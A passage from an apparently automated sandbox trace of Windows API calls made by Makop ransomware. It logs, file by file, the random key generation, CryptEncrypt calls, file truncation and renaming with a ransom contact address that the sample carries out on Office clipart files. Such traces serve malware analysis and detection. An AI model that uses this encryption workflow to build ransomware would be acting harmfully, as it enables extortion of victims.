pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.404] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.404] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.404] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.405] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.405] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.405] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f1c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f1c, lpOverlapped=0x0) returned 1 [0121.406] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f20) returned 1 [0121.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.406] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f20, lpOverlapped=0x0) returned 1 [0121.407] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.407] SetEndOfFile (hFile=0xf0) returned 1 [0121.413] GetProcessHeap () returned 0x48a0000 [0121.413] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.413] GetProcessHeap () returned 0x48a0000 [0121.413] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.414] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.415] CloseHandle (hObject=0xf0) returned 1 [0121.415] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0121.415] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0121.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.416] GetProcessHeap () returned 0x48a0000 [0121.416] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.416] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.416] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.416] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.420] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.420] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.421] GetProcessHeap () returned 0x48a0000 [0121.421] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.421] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.421] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.421] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.421] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.421] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.422] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.422] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.422] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.422] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40cc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40cc, lpOverlapped=0x0) returned 1 [0121.423] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40d0, dwBufLen=0x40d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40d0) returned 1 [0121.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.424] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40d0, lpOverlapped=0x0) returned 1 [0121.424] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x41a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.424] SetEndOfFile (hFile=0xf0) returned 1 [0121.431] GetProcessHeap () returned 0x48a0000 [0121.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.431] GetProcessHeap () returned 0x48a0000 [0121.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.433] CloseHandle (hObject=0xf0) returned 1 [0121.437] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0121.437] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned 63 [0121.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.437] GetProcessHeap () returned 0x48a0000 [0121.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.438] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.442] GetProcessHeap () returned 0x48a0000 [0121.442] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.442] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.442] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.442] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.442] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.442] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.442] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.442] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.444] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.444] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ce4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ce4, lpOverlapped=0x0) returned 1 [0121.445] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2cf0) returned 1 [0121.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.446] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2cf0, lpOverlapped=0x0) returned 1 [0121.446] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.446] SetEndOfFile (hFile=0xf0) returned 1 [0121.452] GetProcessHeap () returned 0x48a0000 [0121.452] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.452] GetProcessHeap () returned 0x48a0000 [0121.452] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.452] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.453] CloseHandle (hObject=0xf0) returned 1 [0121.454] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0121.454] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned 63 [0121.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.454] GetProcessHeap () returned 0x48a0000 [0121.454] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.454] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.455] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.455] GetProcessHeap () returned 0x48a0000 [0121.455] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.455] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.455] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.455] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.459] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.459] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.460] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.460] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.460] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.460] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.460] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.460] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7680, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7680, lpOverlapped=0x0) returned 1 [0121.462] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7680, dwBufLen=0x7680 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7680) returned 1 [0121.462] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.462] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7680, lpOverlapped=0x0) returned 1 [0121.463] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.463] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.463] SetEndOfFile (hFile=0xf0) returned 1 [0121.470] GetProcessHeap () returned 0x48a0000 [0121.470] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.470] GetProcessHeap () returned 0x48a0000 [0121.470] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.470] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.472] CloseHandle (hObject=0xf0) returned 1 [0121.472] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0121.472] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned 63 [0121.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.474] GetProcessHeap () returned 0x48a0000 [0121.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.474] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.479] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, 